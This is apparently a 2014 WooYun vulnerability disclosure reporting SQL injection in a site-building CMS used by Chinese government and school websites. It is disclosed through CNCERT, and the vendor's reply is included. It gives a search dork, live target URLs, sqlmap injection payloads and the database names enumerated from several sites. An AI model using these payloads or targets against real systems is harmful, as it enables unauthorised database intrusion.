当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071987

漏洞标题:某多家政府学校在用系统两处sql注入

相关厂商:某建站系统

漏洞作者: Mosuan

提交时间:2014-08-12 18:12

修复时间:2014-11-10 18:14

公开时间:2014-11-10 18:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:13

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-12: 细节已通知厂商并且等待厂商处理中
2014-08-17: 厂商已经确认,细节仅向厂商公开
2014-08-20: 细节向第三方安全合作伙伴开放
2014-10-11: 细节向核心白帽子及相关领域专家公开
2014-10-21: 细节向普通白帽子公开
2014-10-31: 细节向实习白帽子公开
2014-11-10: 细节向公众公开

简要描述:

rt

详细说明:

来个首页吧~~
不少网站有安全狗。找了几个没有狗的网站测试、。
关键词

技术支持:安徽商网 inurl:include/content.php?id=


注入点1:http://www.xxx.gov.cn/include/video.php?id=4
注入点2:http://www.xxx.gov.cn/include/content.php?id=3289
举几个例子

注入地址:http://www.xceda.gov.cn/include/content.php?id=3289
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:22:07
[18:22:08] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.xceda.gov.cn\session' as session file
[18:22:08] [INFO] resuming back-end DBMS 'mysql 5' from session file
[18:22:10] [INFO] testing connection to the target url
[18:22:14] [INFO] heuristics detected web page charset 'GB2312'
[18:22:14] [INFO] testing if the url is stable, wait a few seconds
[18:22:17] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[18:22:22] [INFO] testing if GET parameter 'id' is dynamic
[18:22:26] [INFO] confirming that GET parameter 'id' is dynamic
[18:22:28] [INFO] GET parameter 'id' is dynamic
[18:22:28] [INFO] heuristics detected web page charset 'ascii'
[18:22:28] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[18:22:28] [INFO] testing sql injection on GET parameter 'id'
[18:22:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:22:34] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[18:22:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:22:35] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:22:36] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:22:37] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:22:38] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:22:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:22:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:22:46] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:23:11] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[18:23:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:23:22] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:23:43] [INFO] target url appears to have 23 columns in query
[18:24:18] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[18:24:18] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[18:25:09] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 50 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3289 AND 4724=4724
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-2324 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, CONCAT(0x3a797a623a,0x6979526a457543624a67,0x3a7a77733a), NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=3289 AND SLEEP(5)
---
[18:25:13] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[18:25:13] [INFO] fetching database names
[18:25:15] [WARNING] the SQL query provided does not return any output
[18:25:15] [INFO] retrieved:
[18:25:15] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[18:25:25] [INFO] fetching number of databases
[18:25:26] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[18:25:26] [INFO] retrieved: 4
[18:25:37] [INFO] retrieved: information_s
[18:30:03] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
chema
[18:31:33] [INFO] retrieved: kafaqu
[18:33:08] [INFO] retrieved: mys
[18:34:39] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
q
[18:35:27] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
l
[18:35:45] [INFO] retrieved: test
[18:37:05] [CRITICAL] connection timed out to the target url or proxy, sqlmap is
going to retry the request
available databases [4]:
[*] information_schema
[*] kafaqu
[*] mysql
[*] test
[18:37:17] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.xceda.gov.cn'


注入地址:http://www.laqcz.com/include/content.php?id=48
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:27:16
[18:27:17] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.laqcz.com\session' as session file
[18:27:18] [INFO] testing connection to the target url
[18:27:19] [INFO] testing if the url is stable, wait a few seconds
[18:27:21] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[18:27:24] [INFO] testing if GET parameter 'id' is dynamic
[18:27:25] [INFO] confirming that GET parameter 'id' is dynamic
[18:27:26] [INFO] GET parameter 'id' is dynamic
[18:27:27] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[18:27:27] [INFO] testing sql injection on GET parameter 'id'
[18:27:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:27:32] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[18:27:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:27:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:27:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:27:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:27:36] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:27:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:27:38] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:27:39] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:28:01] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[18:28:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:28:03] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[18:28:11] [INFO] target url appears to have 20 columns in query
[18:28:34] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 44 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=48 AND 3244=3244
Type: UNION query
Title: MySQL UNION query (NULL) - 20 columns
Payload: id=-9006 UNION SELECT NULL, NULL, NULL, CONCAT(0x3a6a6e6c3a,0x44765
9774f61546d766e,0x3a706c6e3a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=48 AND SLEEP(5)
---
[18:28:49] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.17
back-end DBMS: MySQL 5.0.11
[18:28:49] [INFO] fetching database names
[18:28:50] [INFO] the SQL query used returns 2 entries
[18:28:51] [INFO] retrieved: "information_schema"
[18:28:52] [INFO] retrieved: "web_db"
available databases [2]:
[*] information_schema
[*] web_db
[18:28:52] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.laqcz.com'
[*] shutting down at 18:28:52


注入地址:http://www.qjxjyj.cn/include/content.php?id=4543
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 19:40:16
[19:40:17] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.qjxjyj.cn\session' as session file
[19:40:17] [INFO] testing connection to the target url
[19:40:19] [INFO] heuristics detected web page charset 'GB2312'
[19:40:19] [INFO] testing if the url is stable, wait a few seconds
[19:40:22] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[19:40:23] [INFO] testing if GET parameter 'id' is dynamic
[19:40:25] [INFO] confirming that GET parameter 'id' is dynamic
[19:40:32] [INFO] GET parameter 'id' is dynamic
[19:40:34] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[19:40:34] [INFO] testing sql injection on GET parameter 'id'
[19:40:34] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:40:45] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[19:40:45] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:40:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:40:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[19:40:52] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[19:40:54] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:40:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[19:40:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:41:00] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[19:41:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[19:41:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[19:41:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[19:41:45] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[19:41:53] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[19:42:06] [INFO] target url appears to have 22 columns in query
[19:42:40] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[19:43:25] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] y
sqlmap identified the following injection points with a total of 47 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=4543 AND 7328=7328
Type: UNION query
Title: MySQL UNION query (NULL) - 22 columns
Payload: id=-1359 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, CONCAT(0x3a6c716d3a,0x6b7071434f6973576c55,0x3a71726b3a), NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=4543 AND SLEEP(5)
---
[19:43:36] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[19:43:36] [INFO] fetching database names
[19:43:38] [INFO] the SQL query used returns 5 entries
[19:43:40] [INFO] retrieved: "information_schema"
[19:43:42] [INFO] retrieved: "mysql"
[19:43:45] [INFO] retrieved: "performance_schema"
[19:43:47] [INFO] retrieved: "qjxjyjcn"
[19:43:49] [INFO] retrieved: "test"
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] qjxjyjcn
[*] test
[19:43:49] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.qjxjyj.cn'
[*] shutting down at 19:43:49


注入地址:http://www.lapw.cn/include/content.php?id=520
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 19:53:08
[19:53:09] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.lapw.cn\session' as session file
[19:53:09] [INFO] testing connection to the target url
[19:53:10] [INFO] testing if the url is stable, wait a few seconds
[19:53:12] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[19:53:20] [INFO] testing if GET parameter 'id' is dynamic
[19:53:21] [INFO] confirming that GET parameter 'id' is dynamic
[19:53:22] [INFO] GET parameter 'id' is dynamic
[19:53:23] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[19:53:23] [INFO] testing sql injection on GET parameter 'id'
[19:53:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:53:31] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[19:53:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:53:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:53:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[19:53:34] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[19:53:35] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:53:36] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[19:53:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:53:38] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[19:54:00] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[19:54:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[19:54:02] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[19:54:09] [INFO] target url appears to have 20 columns in query
[19:54:35] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 44 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=520 AND 5711=5711
Type: UNION query
Title: MySQL UNION query (NULL) - 20 columns
Payload: id=-5502 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a
7470783a,0x7863786f4e7043534f75,0x3a6970653a)#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=520 AND SLEEP(5)
---
[19:54:36] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.2.6, Apache 2.2.17
back-end DBMS: MySQL 5.0.11
[19:54:36] [INFO] fetching database names
[19:54:37] [INFO] the SQL query used returns 2 entries
[19:54:38] [INFO] retrieved: "information_schema"
[19:54:39] [INFO] retrieved: "web_db"
available databases [2]:
[*] information_schema
[*] web_db
[19:54:39] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.lapw.cn'
[*] shutting down at 19:54:39


注入地址:http://xczhaoshang.gov.cn/include/content.php?id=3259
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 19:49:43
[19:49:44] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\xczhaoshang.gov.cn\session' as session file
[19:49:44] [INFO] testing connection to the target url
[19:49:46] [INFO] heuristics detected web page charset 'GB2312'
[19:49:46] [INFO] testing if the url is stable, wait a few seconds
[19:49:50] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[19:50:04] [INFO] testing if GET parameter 'id' is dynamic
[19:50:06] [INFO] confirming that GET parameter 'id' is dynamic
[19:50:10] [INFO] GET parameter 'id' is dynamic
[19:50:11] [INFO] heuristics detected web page charset 'ascii'
[19:50:11] [WARNING] heuristic test shows that GET parameter 'id' might not be i
njectable
[19:50:11] [INFO] testing sql injection on GET parameter 'id'
[19:50:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:50:19] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVI
NG clause' injectable
[19:50:19] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[19:50:20] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[19:50:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[19:50:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[19:50:24] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:50:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[19:50:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[19:50:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[19:50:53] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' in
jectable
[19:50:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[19:50:58] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[19:51:07] [INFO] target url appears to have 23 columns in query
[19:52:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 colu
mns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N]
sqlmap identified the following injection points with a total of 52 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3259 AND 5975=5975
Type: UNION query
Title: MySQL UNION query (NULL) - 23 columns
Payload: id=-8623 UNION SELECT NULL, NULL, NULL, NULL, CONCAT(0x3a7668683a,0
x566f654d41475a79684d,0x3a6e6f613a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, N
ULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=3259 AND SLEEP(5)
---
[19:52:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.21, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[19:52:29] [INFO] fetching database names
[19:52:30] [WARNING] the SQL query provided does not return any output
[19:52:30] [INFO] retrieved:
[19:52:30] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[19:52:40] [INFO] fetching number of databases
[19:52:40] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[19:52:40] [INFO] retrieved: 4
[19:52:48] [INFO] retrieved: information_schem
[19:57:31] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
a
[19:58:04] [INFO] retrieved: kafaqu

漏洞证明:

....function

修复方案:

过滤。

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-08-17 12:54

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-24 18:39 | 商网(乌云厂商)

    非常感谢您的报告,问题已着手处理,感谢大家对商网安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

  2. 2014-11-24 20:16 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:175 | 尘封此号,不装逼了,再见孩子们。by Mosua...)

    @商网 良心厂商,赞一个